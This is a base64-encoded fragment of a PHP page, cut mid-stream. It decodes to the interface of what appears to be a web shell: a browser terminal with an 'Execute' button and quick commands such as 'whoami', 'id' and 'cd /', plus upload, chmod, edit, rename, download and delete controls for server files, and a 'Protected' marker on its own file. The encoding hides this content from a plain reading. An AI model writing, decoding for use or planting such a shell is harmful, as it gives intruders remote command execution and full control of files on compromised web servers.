AgICAgICAgICAgICAgICAgIGF1dG9mb2N1cyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWQ9InRlcm1pbmFsSW5wdXQiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJmbGV4OiAxOyBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgYm9yZGVyOiBub25lOyBjb2xvcjogI2M5ZDFkOTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRlcm1pbmFsIiB2YWx1ZT0iMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWluZm8gYnRuLXNtIj5FeGVjdXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJxdWljay1jb21tYW5kcyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZHMgPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdscyAtbGEnID0+ICdMaXN0IGFsbCBmaWxlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjZCAvJyA9PiAnR28gdG8gcm9vdCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjZCAuLicgPT4gJ0dvIHVwJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3B3ZCcgPT4gJ1Nob3cgcGF0aCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICd3aG9hbWknID0+ICdDdXJyZW50IHVzZXInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAncGhwIC12JyA9PiAnUEhQIHZlcnNpb24nLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnaWQnID0+ICdVc2VyIGluZm8nLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGYgLWgnID0+ICdEaXNrIHVzYWdlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NsZWFyJyA9PiAnQ2xlYXIgc2NyZWVuJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvbW1hbmRzIGFzICRjbWQgPT4gJGRlc2MpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJxdWljay1jbWQiIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSI8Pz0gJGRlc2MgPz4iIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0ZXJtaW5hbElucHV0JykudmFsdWU9Jzw/PSBhZGRzbGFzaGVzKCRjbWQpID8+JzsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQgPD89ICRjbWQgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDwhLS0gUXVpY2sgQWN0aW9ucyAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7imqE8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPlF1aWNrIEFjdGlvbnM8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoYXV0by1maXQsIG1pbm1heCgyNTBweCwgMWZyKSk7IGdhcDogMTBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4iIGNsYXNzPSJmb3JtLWlubGluZSIgc3R5bGU9Im1hcmdpbjogMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZvbGRlciIgcGxhY2Vob2xkZXI9IvCfk4EgTmV3IGZvbGRlciBuYW1lLi4uIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5DcmVhdGUgRm9sZGVyPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0ibWFyZ2luOiAwOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3ZmlsZSIgcGxhY2Vob2xkZXI9IvCfk4QgTmV3IGZpbGUgbmFtZS4uLiIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4taW5mbyI+Q3JlYXRlIEZpbGU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+IiBjbGFzcz0iZm9ybS1pbmxpbmUiIHN0eWxlPSJtYXJnaW46IDA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlc1tdIiBtdWx0aXBsZSByZXF1aXJlZCBzdHlsZT0icGFkZGluZzogOHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4td2FybmluZyI+4qyG77iPIFVwbG9hZCBGaWxlczwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8IS0tIEZpbGUgQnJvd3NlciAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7wn5OCPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5GaWxlIEJyb3dzZXI8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDogYXV0bzsgZm9udC1zaXplOiAxMXB4OyBjb2xvcjogIzhiOTQ5ZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IGNvdW50KCRmb2xkZXJzKSArIGNvdW50KCRmaWxlcykgPz4gaXRlbXMKICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtYnJvd3Nlci1jb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8dGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOiA0MCU7Ij5OYW1lPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDogMTAlOyI+U2l6ZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBzdHlsZT0id2lkdGg6IDEyJTsiPlBlcm1pc3Npb25zPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDogMTUlOyI+TW9kaWZpZWQ8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOiAyMyU7Ij5BY3Rpb25zPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIFBhcmVudCBkaXJlY3RvcnkgbGluayAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGN1cnJlbnRfZGlyICE9PSAkUk9PVCk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmb2xkZXItcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoZGlybmFtZSgkY3VycmVudF9kaXIpKSkgPz4iIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpbGUtaWNvbiI+8J+Tgjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPi4uIChQYXJlbnQgRGlyZWN0b3J5KTwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBGb2xkZXJzIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmb2xkZXIpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0iZm9sZGVyLXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRmb2xkZXJbJ3BhdGgnXSkpID8+IiBzdHlsZT0iZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLWljb24iPvCfk4E8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48Pz0gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pID8+PC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iY29sb3I6ICM4Yjk0OWU7Ij7igJQ8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGZvbnQtc2l6ZTogMTFweDsiPjw/PSAkZm9sZGVyWydwZXJtcyddID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJmb250LXNpemU6IDExcHg7Ij48Pz0gZGF0ZSgnWS1tLWQgSDppJywgJGZvbGRlclsnbW9kaWZpZWQnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4iIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtZmxleDsgZ2FwOiA0cHg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkIiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlclsnbmFtZSddKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXciIHBsYWNlaG9sZGVyPSJOZXcgbmFtZSIgc3R5bGU9IndpZHRoOiAxMDBweDsgcGFkZGluZzogNHB4IDhweDsgZm9udC1zaXplOiAxMXB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1pbmZvIGJ0bi1zbSI+UmVuYW1lPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZvbGRlcjogPD89IGFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pKSA/Pj8nKTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIHZhbHVlPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tc20iPkRlbGV0ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEZpbGVzIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmaWxlLXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij92aWV3PTw/PSB1cmxlbmNvZGUoJGZpbGVbJ25hbWUnXSkgPz4mZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpbGUtaWNvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHQgPSAkZmlsZVsnZXh0ZW5zaW9uJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpY29uID0gJ/Cfk4QnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaWNvbnMgPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAncGhwJyA9PiAn8J+QmCcsICdqcycgPT4gJ/Cfk5wnLCAnY3NzJyA9PiAn8J+OqCcsICdodG1sJyA9PiAn8J+MkCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndHh0JyA9PiAn8J+TnScsICdqcGcnID0+ICfwn5a877iPJywgJ3BuZycgPT4gJ/CflrzvuI8nLCAnZ2lmJyA9PiAn8J+WvO+4jycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnanBlZycgPT4gJ/CflrzvuI8nLCAncGRmJyA9PiAn8J+TlScsICd6aXAnID0+ICfwn5OmJywgJ3JhcicgPT4gJ/Cfk6YnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3RhcicgPT4gJ/Cfk6YnLCAnZ3onID0+ICfwn5OmJywgJ3NxbCcgPT4gJ/Cfl4PvuI8nLCAnanNvbicgPT4gJ/Cfk4snLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3htbCcgPT4gJ/Cfk4QnLCAnbWQnID0+ICfwn5OWJywgJ2xvZycgPT4gJ/Cfk4snLCAnbXAzJyA9PiAn8J+OtScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbXA0JyA9PiAn8J+OrCcsICdhdmknID0+ICfwn46sJywgJ21vdicgPT4gJ/CfjqwnLCAnd2F2JyA9PiAn8J+OtScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZG9jJyA9PiAn8J+TmCcsICdkb2N4JyA9PiAn8J+TmCcsICd4bHMnID0+ICfwn5OXJywgJ3hsc3gnID0+ICfwn5OXJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGljb25zWyRleHRdKSkgJGljb24gPSAkaWNvbnNbJGV4dF07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGljb247CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAocmVhbHBhdGgoJGZpbGVbJ3BhdGgnXSkgPT09IHJlYWxwYXRoKF9fRklMRV9fKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtcHJvdGVjdGVkIj5Qcm90ZWN0ZWQ8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJmb250LWZhbWlseTogbW9ub3NwYWNlOyBmb250LXNpemU6IDExcHg7Ij48Pz0gZm9ybWF0Qnl0ZXMoJGZpbGVbJ3NpemUnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGZvbnQtc2l6ZTogMTFweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+IiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWZsZXg7IGdhcDogNHB4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2htb2RfZmlsZSIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2htb2QiIHZhbHVlPSI8Pz0gJGZpbGVbJ3Blcm1zJ10gPz4iIHN0eWxlPSJ3aWR0aDogNTVweDsgcGFkZGluZzogMnB4IDRweDsgZm9udC1zaXplOiAxMXB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4td2FybmluZyBidG4tc20iPlNldDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImZvbnQtc2l6ZTogMTFweDsiPjw/PSBkYXRlKCdZLW0tZCBIOmknLCAkZmlsZVsnbW9kaWZpZWQnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZWRpdD08Pz0gdXJsZW5jb2RlKCRmaWxlWyduYW1lJ10pID8+JmRpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20iPkVkaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rvd25sb2FkPTw/PSB1cmxlbmNvZGUoJGZpbGVbJ25hbWUnXSkgPz4mZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIGJ0bi1zbSI+RG93bmxvYWQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+IiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWZsZXg7IGdhcDogNHB4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZCIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ldyIgcGxhY2Vob2xkZXI9Ik5ldyBuYW1lIiBzdHlsZT0id2lkdGg6IDEwMHB4OyBwYWRkaW5nOiA0cHggOHB4OyBmb250LXNpemU6IDExcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWluZm8gYnRuLXNtIj5SZW5hbWU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+IiBzdHlsZT0iZGlzcGxheTogaW5saW5lOyIgb25zdWJtaXQ9InJldHVybiBjb25maXJtKCdEZWxldGUgZmlsZTogPD89IGFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKSkgPz4/Jyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGVsZXRlIiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSI+RGVsZXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgIC